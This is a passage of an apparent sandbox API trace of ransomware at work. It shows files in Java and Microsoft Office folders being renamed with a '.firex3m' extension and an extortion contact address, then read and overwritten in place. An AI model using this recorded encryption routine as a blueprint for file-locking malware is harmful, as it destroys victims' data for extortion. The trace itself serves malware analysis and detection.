Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklisted.certs.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLACKL~1.FIR")) returned 0x6d5280 [0120.367] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0120.367] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x608 [0120.367] GetProcessHeap () returned 0x630000 [0120.367] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6672f8 [0120.367] GetProcessHeap () returned 0x630000 [0120.367] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6f33a38 [0120.367] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.367] ReadFile (in: hFile=0x608, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x537ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0120.456] GetProcessHeap () returned 0x630000 [0120.456] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0120.456] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.456] WriteFile (in: hFile=0x608, lpBuffer=0x6f33a38*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f33a38*, lpNumberOfBytesWritten=0x537ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0120.456] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.457] WriteFile (in: hFile=0x608, lpBuffer=0x6f33f17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f33f17*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0120.457] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.457] WriteFile (in: hFile=0x608, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0120.457] CloseHandle (hObject=0x608) returned 1 [0120.458] GetProcessHeap () returned 0x630000 [0120.458] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f33a38 | out: hHeap=0x630000) returned 1 [0120.458] GetProcessHeap () returned 0x630000 [0120.458] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0120.458] GetProcessHeap () returned 0x630000 [0120.458] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0120.458] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.458] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xdbf460f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x509, dwReserved0=0xa187496, dwReserved1=0x6672f0, cFileName="blacklisted.certs.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLACKL~1.FIR")) returned 0x6d5200 [0120.459] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0120.459] Sleep (dwMilliseconds=0x1) [0120.474] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", len=0x33 | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 1 [0120.474] GetProcessHeap () returned 0x630000 [0120.474] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x13c) returned 0x66a3e0 [0120.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0120.476] CloseHandle (hObject=0x5e4) returned 1 [0120.476] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.476] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.479] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ea17a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x17103, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.VBS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSPPVB~1.FIR")) returned 0x6d5340 [0120.480] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0120.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0120.592] GetProcessHeap () returned 0x630000 [0120.592] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7181ed8 [0120.593] GetProcessHeap () returned 0x630000 [0120.593] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718d308 [0120.593] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.593] ReadFile (in: hFile=0x5e4, lpBuffer=0x7181ed8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7181ed8*, lpNumberOfBytesRead=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0125.221] GetProcessHeap () returned 0x630000 [0125.221] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feec88 [0125.221] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.221] WriteFile (in: hFile=0x5e4, lpBuffer=0x718d308*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718d308*, lpNumberOfBytesWritten=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0126.279] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.279] WriteFile (in: hFile=0x5e4, lpBuffer=0x7198707*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7198707*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0127.670] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.670] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0127.670] CloseHandle (hObject=0x5e4) returned 1 [0128.328] GetProcessHeap () returned 0x630000 [0128.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718d308 | out: hHeap=0x630000) returned 1 [0128.328] GetProcessHeap () returned 0x630000 [0128.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7181ed8 | out: hHeap=0x630000) returned 1 [0128.328] GetProcessHeap () returned 0x630000 [0128.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feec88 | out: hHeap=0x630000) returned 1 [0129.224] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.224] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ea17a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x120b7c40, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x17127, dwReserved0=0xa187496, dwReserved1=0x7181ed0, cFileName="OSPP.VBS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSPPVB~1.FIR")) returned 0x6d5540 [0129.224] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0129.225] Sleep (dwMilliseconds=0x1) [0129.282] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", len=0x3f | out: pbstr=0x537ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 1 [0129.282] GetProcessHeap () returned 0x630000 [0129.282] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x74) returned 0x66a3e0 [0129.282] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0129.282] CloseHandle (hObject=0x6f4) returned 1 [0129.282] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0129.282] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0129.283] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2de78, dwReserved0=0x0, dwReserved1=0x0, cFileName="access-bridge-64.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACCESS~1.FIR")) returned 0x6d5200 [0129.283] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0129.283] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0129.283] GetProcessHeap () returned 0x630000 [0129.283] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f4a298 [0129.284] GetProcessHeap () returned 0x630000 [0129.284] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f556c8 [0129.284] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.284] ReadFile (in: hFile=0x6f4, lpBuffer=0x6f4a298, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4a298*, lpNumberOfBytesRead=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0135.505] GetProcessHeap () returned 0x630000 [0135.505] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0135.505] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.505] WriteFile (in: hFile=0x6f4, lpBuffer=0x6f556c8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f556c8*, lpNumberOfBytesWritten=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0135.506] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.506] WriteFile (in: hFile=0x6f4, lpBuffer=0x6f60ac7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f60ac7*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.363] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.363] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.363] CloseHandle (hObject=0x6f4) returned 1 [0139.178] GetProcessHeap () returned 0x630000 [0139.178] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f556c8 | out: hHeap=0x630000) returned 1 [0139.179] GetProcessHeap () returned 0x630000 [0139.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4a298 | out: hHeap=0x630000) returned 1 [0139.179] GetProcessHeap () returned 0x630000 [0139.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0139.180] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x18e83d7e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2de9c, dwReserved0=0xa187496, dwReserved1=0x6f4a290, cFileName="access-bridge-64.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACCESS~1.FIR")) returned 0x6d5480 [0139.180] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0139.180] Sleep (dwMilliseconds=0x1) [0140.392] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms", len=0x55 | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 1 [0140.392] GetProcessHeap () returned 0x630000 [0140.392] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c40) returned 0x7203db8 [0140.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0142.607] CloseHandle (hObject=0x6f4) returned 1 [0142.610] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.612] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.841] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.841] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe426559f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe426559f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe43241ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4df6, dwReserved0=0x4708fdb2, dwReserved1=0x66002e, cFileName="HomeBusinessR_Retail3-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HO0650~1.FIR")) returned 0x6d53c0 [0143.842] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0143.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0143.842] GetProcessHeap () returned 0x630000 [0143.842] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e01) returned 0x7216b28 [0143.842] GetProcessHeap () returned 0x630000 [0143.842] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e01) returned 0x721b938 [0143.842] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.842] ReadFile (in: hFile=0x6f4, lpBuffer=0x7216b28, nNumberOfBytesToRead=0x4de0, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7216b28*, lpNumberOfBytesRead=0x537ff0c*=0x4de0, lpOverlapped=0x0) returned 1 [0145.550] GetProcessHeap () returned 0x630000 [0145.550] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0145.550] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.550] WriteFile (in: hFile=0x6f4, lpBuffer=0x721b938*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x721b938*, lpNumberOfBytesWritten=0x537ff0c*=0x4de0, lpOverlapped=0x0) returned 1 [0145.960] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.960] WriteFile (in: hFile=0x6f4, lpBuffer=0x7220717*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7220717*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.960] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.960] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.960] CloseHandle (hObject=0x6f4) returned 1 [0145.961] GetProcessHeap () returned 0x630000 [0145.961] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x721b938 | out: hHeap=0x630000) returned 1 [0145.961] GetProcessHeap () returned 0x630000 [0145.961] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7216b28 | out: hHeap=0x630000) returned 1 [0145.964] GetProcessHeap () returned 0x630000 [0145.964] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0145.964] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.964] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe426559f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe426559f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cf1ccc0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4e1a, dwReserved0=0xa187496, dwReserved1=0x7216b20, cFileName="HomeBusinessR_Retail3-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HO0650~1.FIR")) returned 0x6d5280 [0145.964] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0145.964] Sleep (dwMilliseconds=0x1) [0146.029] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML", len=0x41 | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML") returned 1 [0146.029] GetProcessHeap () returned 0x630000 [0146.029] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x271c) returned 0x71f7c78 [0146.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocmodvrd.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0149.063] CloseHandle (hObject=0x6b0) returned 1 [0149.063] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 